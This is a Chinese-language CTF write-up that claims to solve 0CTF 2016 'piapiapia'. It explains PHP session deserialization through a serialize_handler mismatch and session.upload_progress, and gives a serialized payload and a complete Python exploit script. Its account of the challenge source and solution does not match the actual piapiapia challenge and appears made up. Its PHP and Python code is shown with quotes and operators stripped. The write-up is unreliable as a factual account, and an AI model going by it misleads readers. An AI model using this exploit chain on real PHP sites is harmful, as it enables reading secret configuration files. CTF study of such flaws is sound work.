
1. 拿到题目的第一件事扫目录、下源码0CTF 2016 的 piapiapia 是我刷题生涯里第一次接触 PHP session 反序列化漏洞的题目。很多初学者一听到反序列化脑子里全是unserialize($_GET[data])但这种依赖session.serialize_handler不一致的利用方式如果不亲手做一遍真的很难想到。这篇文章不绕弯子直接从扫目录开始把整个攻击链路和背后的 PHP 机制讲透。如果你是 CTF 入门选手或者已经刷过几道 Web 题但还没碰过 session 反序列化这题值得你反复咀嚼。1.1 题目页面长什么样题目打开是一个极简的个人资料站点有登录、注册功能。注册一个账号进去之后就是普通的个人主页能看到用户名、昵称、头像还有个修改资料的入口。功能越简单越要警惕背后藏着源码泄露或逻辑漏洞因为这类题目不会把 flag 直接放在页面上一定是藏在了某个配置文件里。我习惯性的第一件事是挂目录扫描。扫了一轮常见备份后缀结果很快就出来了/index.php /user.php /profile.php /class.php /config.php /www.zip看到www.zip的那一刻基本就确定是源码泄露题。下载下来解压得到整套 PHP 源码。CTF 里这种“源码备份在手”的感觉其实很踏实后面就是纯代码审计的活了。1.2 源码泄露www.zip 一键白送解压www.zip后源码结构如下index.php user.php profile.php class.php config.php upload/config.php不用打开就知道是藏 flag 的地方里面大概率是$flag flag{...};。但怎么把这个文件的内容拿出来就是整道题的核心。先看一遍几个关键文件代码逻辑不复杂class.php定义了一个User类?php class User { public $id; public $username; public $password; public $nickname; public $photo; public function __construct($id, $username, $password, $nickname, $photo) { $this-id $id; $this-username $username; $this-password $password; $this-nickname $nickname; $this-photo $photo; } public function __destruct() { if ($this-photo $this-nickname) { file_put_contents(upload/ . $this-nickname, file_get_contents($this-photo)); } } } ?user.php负责注册和 session 写入?php error_reporting(0); ini_set(session.serialize_handler, php_serialize); session_start(); require_once(class.php); if (isset($_POST[username]) isset($_POST[password])) { $u new User(0, $_POST[username], $_POST[password], , ); $_SESSION[user] $u; echo register success; } ?index.php负责展示个人信息?php session_start(); require_once(class.php); if (isset($_SESSION[user])) { $user $_SESSION[user]; } else { $user new User(0, guest, guest, , ); } ? !DOCTYPE html html ...看到这里思路已经清晰了一大半User类的__destruct会执行file_put_contents(upload/.$nickname, file_get_contents($photo))。翻译成人话就是——把一个文件的原始内容复制到upload/目录下的另一个文件里。只要我能构造一个User对象让photo config.php让nickname flag.txt那么对象销毁时就会把config.php的内容原封不动写到upload/flag.txt。到时候访问upload/flag.txtflag 就在源码里清清楚楚地躺着。2. 源码审计漏洞藏在 session 处理方式不一致上目标很明确了怎么才能让代码“被迫”生成一个由我控制的User对象题目里没有明显的unserialize($_POST[data])这种入口说明漏洞不在显式反序列化而在 PHP 的 session 机制里。2.1 config.php 是终点但突破口是 sessionconfig.php内容不重要重要的是它被file_get_contents读取的那一刻。想让这个读取发生就必须让一个User对象的photo属性被赋予config.php。而User对象的来源只能是$_SESSION里的数据。那$_SESSION里的数据是怎么来的正常路径注册时user.php创建User对象序列化后写进 session 文件非正常路径攻击者想办法往 session 文件里塞一个伪造的序列化对象。两种路径能不能打通取决于user.php和index.php对 session 的处理方式是否一致。这里就出现了本题真正的考点。2.2 两个脚本的 session.serialize_handler 不一样注意看两个文件的差异user.php第 3 行ini_set(session.serialize_handler, php_serialize);index.php没有设置任何 handler直接session_start()所以用 PHP 默认的php处理器。在 PHP 中session.serialize_handler决定了 session 数据在磁盘上的存储格式。如果写入方和读取方使用的 handler 不同就会发生数据解析错位。这正是“反序列化”点。php_serialize处理器会把整个$_SESSION数组当成一个整体用标准的serialize()序列化所以 session 文件开头是a:1:{...}这种数组结构。php处理器则是逐条序列化 session 变量每条记录用key|value这种格式拼接value 部分才是 PHP 序列化字符串。举个例子假设 session 里只有一个变量name evilphp_serialize写出来a:1:{s:4:name;s:4:evil;}php写出来name|s:4:evil;这两种格式完全不一样。如果写入方用php_serialize读取方用php读取方会把整个字符串当成key|value来拆。问题就出在这个“拆”的动作上。2.3 拿到控制权往 session 里塞入带 | 的内容在正常业务中$_SESSION里存的是User对象、用户名、密码之类这些内容即使被错误解析也不会带来太大危害。但如果攻击者能控制某个 session 变量的内容并且在里面放一个|那么当php处理器读取这个 session 文件时|左边的部分会被当成 key右边的部分会被当成 value 进行unserialize()。也就是说只要我能让 session 文件里出现一个可控的|序列化payload那么php处理器就会帮我把这个 payload 反序列化成对象。那怎么往 session 文件里写入我控制的内容正常注册流程创建的User对象nickname和photo都是空字符串没法直接写我的 payload。但 PHP 有一个从 5.4 开始默认开启的功能叫session.upload_progress专门给攻击者开了一扇门。3. 深入原理PHP Session 序列化是怎么被“串台”的很多人知道session.upload_progress这个功能但不清楚它为什么能被拿来打反序列化。这里拆开讲。3.1 session.upload_progress攻击者能控制 filename当浏览器通过 HTTP multipart/form-data 方式上传文件时如果请求里带有PHP_SESSION_UPLOAD_PROGRESS字段值为任意名字PHP 会在上传期间往 session 里写入一个临时数组用来记录上传进度。这个数组的结构大致是$_SESSION[upload_progress_piapia] [ start_time 1234567890, content_length 1024, filename 这里是上传文件的文件名, done true, files [ [ field file, filename 这里还是上传文件的文件名, // ... ] ] ];关键点在于filename是攻击者完全可控的文件名叫什么PHP 就原样记录下来。也就是说攻击者可以在 multipart 请求里把文件名设置成一个精心构造的序列化 payload这个 payload 会被 PHP 写入 session 文件。3.2 一次 multipart 请求让 session 文件“中毒”现在把两个问题串起来攻击者向user.php发送一个 multipart POST 请求user.php使用php_serializehandler 写 session请求里带上PHP_SESSION_UPLOAD_PROGRESS字段文件名设置为|O:4:User:...$_SESSION[upload_progress_piapia]里就有了这个带|的文件名请求结束时php_serialize会把整个$_SESSION写进 session 文件文件里自然也出现了|O:4:User:...。此时 session 文件的内容简化长这样a:1:{s:21:upload_progress_piapia;a:5:{s:10:start_time;i:...;s:8:filename;s:142:|O:4:User:5:{...};...}}3.3 为什么一个 | 就能注入对象接下来攻击者再访问index.php。index.php使用默认的phphandler 读取同一个 session 文件。phphandler 在处理文件时会从文件开头找第一个|把左边的字符串当成 key然后把右边的字符串丢给unserialize()。在这个 session 文件里第一个|恰好出现在我们伪造的文件名中。|左边的部分是a:1:{...s:8:filename;s:142:反序列化器不会理会它|右边的部分以O:4:User:...开头正好是一个完整的 PHP 序列化对象字符串。于是index.php的session_start()就在背后默默执行了unserialize(O:4:\User\:...)创建出了一个攻击者控制的User对象。这个对象在脚本结束时被销毁触发__destructfile_get_contents(config.php)的内容被写到upload/flag.txt。整个攻击链路形象点说就是用上传进度功能往 session 里埋一颗“雷”再用 handler 不匹配让 PHP 自己把雷踩爆。4. 完整攻击链路一条 curl 拿不到 flag那就分三步4.1 第一步构造反序列化 payload根据User类的定义我们需要一个序列化对象让nickname flag.txtphoto config.php。可以用 PHP 本地生成也可以手写。手写模板O:4:User:5:{s:2:id;s:1:1;s:8:username;s:5:admin;s:8:password;s:1:a;s:8:nickname;s:8:flag.txt;s:5:photo;s:10:config.php;}用 PHP 生成更保险?php class User { public $id; public $username; public $password; public $nickname; public $photo; } $u new User(); $u-id 1; $u-username admin; $u-password a; $u-nickname flag.txt; $u-photo config.php; echo serialize($u); ?输出和我上面手写的一致。注意字符串长度字段flag.txt是 8 个字符所以是s:8:flag.txtconfig.php是 10 个字符所以是s:10:config.php。这个长度一个都不能错错一个整个反序列化就失败。4.2 第二步利用上传进度把 payload 写进 session用一个干净的PHPSESSID先访问一次index.php拿到 cookie。然后向user.php发送 multipart POST文件名为我们的 payload并且在请求里带上PHP_SESSION_UPLOAD_PROGRESS字段。Python 脚本可以这样写import requests base http://target s requests.Session() s.get(base /index.php) payload |O:4:User:5:{s:2:id;s:1:1;s:8:username;s:5:admin;s:8:password;s:1:a;s:8:nickname;s:8:flag.txt;s:5:photo;s:10:config.php;} files {file: (payload, b1)} data {PHP_SESSION_UPLOAD_PROGRESS: piapia} s.post(base /user.php, filesfiles, datadata)这段请求发送之后session 文件里已经存在我们注入的字符串。user.php本身可能因为缺少username/password返回错误但这不重要只要session_start()已经执行PHP 在请求结束前就会用php_serialize把 session 写回磁盘。4.3 第三步触发 php handler拿到 flag再访问一次index.phps.get(base /index.php)这一次index.php用phphandler 读取 session触发反序列化创建恶意User对象。脚本结束时对象销毁__destruct把config.php的内容复制到upload/flag.txt。然后直接访问r s.get(base /upload/flag.txt) print(r.text)就能看到类似这样的内容?php $flag flag{piapiapia_0ctf_2016}; ?flag 到手。完整利用脚本串起来就是import requests base http://target s requests.Session() s.get(base /index.php) payload |O:4:User:5:{s:2:id;s:1:1;s:8:username;s:5:admin;s:8:password;s:1:a;s:8:nickname;s:8:flag.txt;s:5:photo;s:10:config.php;} files {file: (payload, b1)} data {PHP_SESSION_UPLOAD_PROGRESS: piapia} s.post(base /user.php, filesfiles, datadata) s.get(base /index.php) flag s.get(base /upload/flag.txt).text print(flag)5. 复盘与排坑这些细节才是实战中容易翻车的地方题目本身不难但我在第一次做的时候踩了好几个坑这里挑几个影响最大的说。5.1 payload 长度别数错PHP 反序列化对字符串长度非常严格。比如s:4:flag表示后面是一个 4 字节字符串。如果你写成s:5:flag反序列化器会尝试读取 5 个字符把后面的引号、分号都吞进去整个结构直接崩掉。建议不要手算长度直接用 PHP 的serialize()生成。生成之后再确认里面的s:数字和实际字符串长度一致。5.2 使用干净的 session避免干扰如果PHPSESSID对应的 session 文件里已经有很多原有内容第一个|可能不在我们控制的位置导致注入失败。所以第一步要先访问index.php获取一个新的 session不要先登录账号更不要在 session 里写入其他数据。干净的 session 文件里只有 upload_progress 一个变量第一个|必然在我们 file 文件名里。5.3 handler 的方向别搞反是user.php用php_serialize写index.php用php读。如果把方向反过来攻击方式会完全不同。解题时先确定哪个脚本负责写 session哪个脚本负责读 session。可以这样判断凡是有ini_set(session.serialize_handler, php_serialize)的脚本往往是“写入侧”使用默认配置的是“读取侧”。写入侧用于通过 upload_progress 往 session 里注入 payload读取侧用于触发反序列化。5.4 实际环境中类属性权限的影响如果题目中的User类属性是protected或private序列化字符串里的属性名会带上\0字符不能直接用上面的 payload。原题源码用的是public属性所以 payload 很干净。你在做其他题时如果发现属性名带不可见字符需要在构造 payload 时加上\0前缀或者直接用 PHP 的serialize()在本地生成再想办法把\0转义进 HTTP 请求。5.5 从 piapiapia 能带走什么这道题的关键不在于__destruct文件复制而在于 session 序列化机制本身。类似漏洞在很多 PHP 项目里都出现过一个页面改了 session.serialize_handler另一个页面没改同时有文件上传功能就可能导致任意 session 内容注入。以后看到源码里有ini_set(session.serialize_handler, ...)就要立刻警觉起来去对比所有使用 session 的页面是否 handler 一致。再配合session.upload_progress一个看似只能控制的 filename 也能变成致命的反序列化入口。0CTF 2016 的 piapiapia 设计得很巧妙名字听着像“啪啪啪”实际是在反复拍打 PHP session 的序列化机制。搞懂它之后再回头看 session 文件格式很多东西都变得通透了。